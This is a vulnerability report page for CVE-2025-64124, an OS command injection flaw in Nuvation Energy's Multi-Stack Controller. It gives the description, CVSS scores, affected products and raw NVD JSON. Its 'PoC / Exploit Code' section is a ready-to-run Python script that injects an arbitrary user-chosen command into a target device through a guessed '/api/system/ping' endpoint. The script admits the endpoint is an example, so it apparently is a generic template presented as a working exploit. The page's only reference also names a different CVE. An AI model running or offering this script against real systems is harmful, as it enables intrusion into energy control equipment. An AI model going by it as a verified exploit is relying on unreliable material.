Security Vulnerability Report
中文
CVE-2025-64124 CVSS 8.8 HIGH

CVE-2025-64124

Published: 2026-01-03 01:15:43
Last Modified: 2026-02-26 19:59:53

Description

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in Nuvation Energy Multi-Stack Controller (MSC) allows OS Command Injection.This issue affects Multi-Stack Controller (MSC): before 2.5.1.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nuvationenergy:nplatform:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:nuvationenergy:nuvmsc3-04s-c:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:nuvationenergy:nuvmsc3-08s-c:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:nuvationenergy:nuvmsc3-12s-c:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:nuvationenergy:nuvmsc3-16s-c:-:*:*:*:*:*:*:* - NOT VULNERABLE
Nuvation Energy Multi-Stack Controller (MSC) < 2.5.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-64124 PoC - Nuvation Energy MSC OS Command Injection Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-64124 """ import requests import argparse import json def exploit(target_ip, target_port=443, cmd="id", use_ssl=True): """ Exploit OS Command Injection in Nuvation Energy MSC Args: target_ip: Target MSC device IP address target_port: Target port (default: 443) cmd: Command to execute on target system use_ssl: Use HTTPS if True """ protocol = "https" if use_ssl else "http" base_url = f"{protocol}://{target_ip}:{target_port}" # Typical vulnerable endpoint (adjust based on actual reconnaissance) vulnerable_endpoint = "/api/system/ping" # Example endpoint # Construct malicious payload with command injection # Using typical command injection techniques payload = { "host": f"127.0.0.1; {cmd}", # Command injection "count": "1" } headers = { "Content-Type": "application/json", "User-Agent": "CVE-2025-64124-PoC" } try: print(f"[*] Targeting: {base_url}") print(f"[*] Payload: {payload}") response = requests.post( f"{base_url}{vulnerable_endpoint}", json=payload, headers=headers, verify=False, timeout=10 ) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response:\n{response.text}") return response.json() if response.headers.get('content-type', '').startswith('application/json') else response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def main(): parser = argparse.ArgumentParser(description="CVE-2025-64124 PoC") parser.add_argument("-t", "--target", required=True, help="Target IP address") parser.add_argument("-p", "--port", type=int, default=443, help="Target port") parser.add_argument("-c", "--cmd", default="id", help="Command to execute") parser.add_argument("--no-ssl", action="store_true", help="Disable SSL/TLS") args = parser.parse_args() exploit(args.target, args.port, args.cmd, not args.no_ssl) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64124", "sourceIdentifier": "[email protected]", "published": "2026-01-03T01:15:42.750", "lastModified": "2026-02-26T19:59:52.763", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in Nuvation Energy Multi-Stack Controller (MSC) allows OS Command Injection.This issue affects Multi-Stack Controller (MSC): before 2.5.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:P/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "PRESENT", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nuvationenergy:nplatform:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.5.1", "matchCriteriaId": "F9BA0E2A-0F4B-4705-BB79-DD5F30B40859"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:nuvationenergy:nuvmsc3-04s-c:-:*:*:*:*:*:*:*", "matchCriteriaId": "F7962681-518E-463D-889B-FA02F9C8DF4A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:nuvationenergy:nuvmsc3-08s-c:-:*:*:*:*:*:*:*", "matchCriteriaId": "9C8840C4-E139-4AF7-9B4C-DE42B69FC97D"}, {"vulnerable": false, "criteria": "cpe:2.3:h:nuvationenergy:nuvmsc3-12s-c:-:*:*:*:*:*:*:*", "matchCriteriaId": "1E01ABFC-C5D6-4EAD-9109-BA76A946FF58"}, {"vulnerable": false, "criteria": "cpe:2.3:h:nuvationenergy:nuvmsc3-16s-c:-:*:*:*:*:*:*:*", "matchCriteriaId": "3D41387A-89AB-4095-8DCA-181DE5695C5D"}]}]}], "references": [{"url": "https://www.dragos.com/community/advisories/CVE-2025-64119", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}